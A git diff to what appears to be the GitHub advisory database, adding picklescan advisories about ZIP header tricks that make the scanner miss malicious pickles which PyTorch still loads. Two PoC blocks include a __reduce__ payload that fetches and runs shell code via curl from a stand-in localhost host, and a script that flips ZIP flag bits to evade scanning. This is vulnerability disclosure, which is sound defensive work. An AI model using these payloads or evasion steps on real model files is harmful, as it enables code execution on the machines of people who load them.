diff --git a/advisories/github-reviewed/2025/03/GHSA-2fh4-gpch-vqv4/GHSA-2fh4-gpch-vqv4.json b/advisories/github-reviewed/2025/03/GHSA-2fh4-gpch-vqv4/GHSA-2fh4-gpch-vqv4.json new file mode 100644 index 00000000000..5c8c78887b9 --- /dev/null +++ b/advisories/github-reviewed/2025/03/GHSA-2fh4-gpch-vqv4/GHSA-2fh4-gpch-vqv4.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2fh4-gpch-vqv4", + "modified": "2025-03-10T18:26:10Z", + "published": "2025-03-10T12:30:56Z", + "withdrawn": "2025-03-10T18:26:09Z", + "aliases": [], + "summary": "Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-w8jq-xcqf-f792. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.23 fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.23" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-w8jq-xcqf-f792" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1945" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781" + }, + { + "type": "WEB", + "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1945" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-345" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-03-10T18:26:09Z", + "nvd_published_at": "2025-03-10T12:15:12Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/03/GHSA-7q5r-7gvp-wc82/GHSA-7q5r-7gvp-wc82.json b/advisories/github-reviewed/2025/03/GHSA-7q5r-7gvp-wc82/GHSA-7q5r-7gvp-wc82.json new file mode 100644 index 00000000000..e3446c3669a --- /dev/null +++ b/advisories/github-reviewed/2025/03/GHSA-7q5r-7gvp-wc82/GHSA-7q5r-7gvp-wc82.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-7q5r-7gvp-wc82", + "modified": "2025-03-10T18:26:44Z", + "published": "2025-03-10T18:26:44Z", + "aliases": [ + "CVE-2025-1944" + ], + "summary": "Zip Exploit Crashes Picklescan But Not PyTorch ", + "details": "### Summary\n\nPickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.\n\n### Details\n\nPython's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.\n\nPyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.\n\n### PoC\n```\nimport os\nimport torch\n\nclass RemoteCodeExecution:\n def __reduce__(self):\n return os.system, (f\"eval \\\"$(curl -s http://localhost:8080)\\\"\",)\n\n\nmodel = RemoteCodeExecution()\nfile = \"does_not_scan_but_opens_in_torch.pth\"\ntorch.save(model, file)\n\n# modify the header to cause the zip file to raise execution in picklescan\nwith open(file, \"rb\") as f:\n data = f.read()\n\n# Replace only the first occurrence of \"data.pkl\" with \"datap.kl\"\nmodified_data = data.replace(b\"data.pkl\", b\"datap.kl\", 1)\n\n# Write back the modified content\nwith open(file, \"wb\") as f:\n f.write(modified_data)\n\n# Load the infected model\ntorch.load(file) \n```\n\n### Impact\n\nSeverity: `High`\n\n- Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.\n\n- What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.\n\n- Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.\n\n### Recommendations\n\n- Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.\n\n- Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.23" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1944" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-345" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-03-10T18:26:44Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/03/GHSA-w6mr-mj53-x258/GHSA-w6mr-mj53-x258.json b/advisories/github-reviewed/2025/03/GHSA-w6mr-mj53-x258/GHSA-w6mr-mj53-x258.json new file mode 100644 index 00000000000..55bcb976244 --- /dev/null +++ b/advisories/github-reviewed/2025/03/GHSA-w6mr-mj53-x258/GHSA-w6mr-mj53-x258.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-w6mr-mj53-x258", + "modified": "2025-03-10T18:25:48Z", + "published": "2025-03-10T12:30:55Z", + "withdrawn": "2025-03-10T18:25:47Z", + "aliases": [], + "summary": "Duplicate Advisory: Zip Exploit Crashes Picklescan But Not PyTorch ", + "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7q5r-7gvp-wc82. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.23" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1944" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781" + }, + { + "type": "WEB", + "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-345" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-03-10T18:25:47Z", + "nvd_published_at": "2025-03-10T12:15:10Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/03/GHSA-w8jq-xcqf-f792/GHSA-w8jq-xcqf-f792.json b/advisories/github-reviewed/2025/03/GHSA-w8jq-xcqf-f792/GHSA-w8jq-xcqf-f792.json new file mode 100644 index 00000000000..a9a58866d7c --- /dev/null +++ b/advisories/github-reviewed/2025/03/GHSA-w8jq-xcqf-f792/GHSA-w8jq-xcqf-f792.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-w8jq-xcqf-f792", + "modified": "2025-03-10T18:26:35Z", + "published": "2025-03-10T18:26:35Z", + "aliases": [ + "CVE-2025-1945" + ], + "summary": "Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch", + "details": "### Summary\n\nPickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.\n\n### Details\n\nPickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.\n\nBy modifying the flag_bits field in the ZIP file entry, an attacker can:\n\n- Embed a malicious pickle file (bad_file.pkl) in a PyTorch model archive.\n- Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata.\n- Prevent PickleScan from scanning the archive due to errors raised by zipfile.\n- Successfully load the model with torch.load(), which ignores the flag modifications.\n\nThis technique effectively bypasses PickleScan's security checks while maintaining model functionality.\n\n### PoC\n```\nimport os\nimport zipfile\nimport torch\nfrom picklescan import cli\n\ndef can_scan(zip_file):\n try:\n cli.print_summary(False, cli.scan_file_path(zip_file))\n return True\n except Exception:\n return False\n\nbit_to_flip = 0x1 # Change to 0x20 or 0x40 to test different flag bits\n\nzip_file = \"model.pth\"\nmodel = {'a': 1, 'b': 2, 'c': 3}\ntorch.save(model, zip_file)\n\nwith zipfile.ZipFile(zip_file, \"r\") as source:\n flipped_name = f\"flipped_{bit_to_flip}_{zip_file}\"\n with zipfile.ZipFile(flipped_name, \"w\") as dest:\n bad_file = zipfile.ZipInfo(\"model/bad_file.pkl\")\n \n # Modify the ZIP flag bits\n bad_file.flag_bits |= bit_to_flip\n \n dest.writestr(bad_file, b\"bad content\")\n for item in source.infolist():\n dest.writestr(item, source.read(item.filename))\n\nif model == torch.load(flipped_name, weights_only=False):\n if not can_scan(flipped_name):\n print('Found exploitable bit:', bit_to_flip)\nelse:\n os.remove(flipped_name)\n```\n\n### Impact\n\nSeverity: `High`\n\n- Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models.\n- What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan's detection but still execute upon loading.\n- Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.\n\n### Recommendations\n\n- Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits.\n- Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.\n\nBy addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.23" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-w8jq-xcqf-f792" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1945" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1945" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-345" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-03-10T18:26:35Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2025/03/GHSA-2fh4-gpch-vqv4/GHSA-2fh4-gpch-vqv4.json b/advisories/unreviewed/2025/03/GHSA-2fh4-gpch-vqv4/GHSA-2fh4-gpch-vqv4.json deleted file mode 100644 index e4b3450b4fd..00000000000 --- a/advisories/unreviewed/2025/03/GHSA-2fh4-gpch-vqv4/GHSA-2fh4-gpch-vqv4.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-2fh4-gpch-vqv4", - "modified": "2025-03-10T12:30:56Z", - "published": "2025-03-10T12:30:56Z", - "aliases": [ - "CVE-2025-1945" - ], - "details": "picklescan before 0.0.23 fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" - } - ], - "affected": [], - "references": [ - { - "type": "WEB", - "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-w8jq-xcqf-f792" - }, - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1945" - }, - { - "type": "WEB", - "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781" - }, - { - "type": "WEB", - "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1945" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-345" - ], - "severity": "MODERATE", - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2025-03-10T12:15:12Z" - } -} \ No newline at end of file diff --git a/advisories/unreviewed/2025/03/GHSA-w6mr-mj53-x258/GHSA-w6mr-mj53-x258.json b/advisories/unreviewed/2025/03/GHSA-w6mr-mj53-x258/GHSA-w6mr-mj53-x258.json deleted file mode 100644 index 3c15c7aa200..00000000000 --- a/advisories/unreviewed/2025/03/GHSA-w6mr-mj53-x258/GHSA-w6mr-mj53-x258.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-w6mr-mj53-x258", - "modified": "2025-03-10T12:30:55Z", - "published": "2025-03-10T12:30:55Z", - "aliases": [ - "CVE-2025-1944" - ], - "details": "picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" - } - ], - "affected": [], - "references": [ - { - "type": "WEB", - "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7q5r-7gvp-wc82" - }, - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1944" - }, - { - "type": "WEB", - "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781" - }, - { - "type": "WEB", - "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1944" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-345" - ], - "severity": "MODERATE", - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2025-03-10T12:15:10Z" - } -} \ No newline at end of file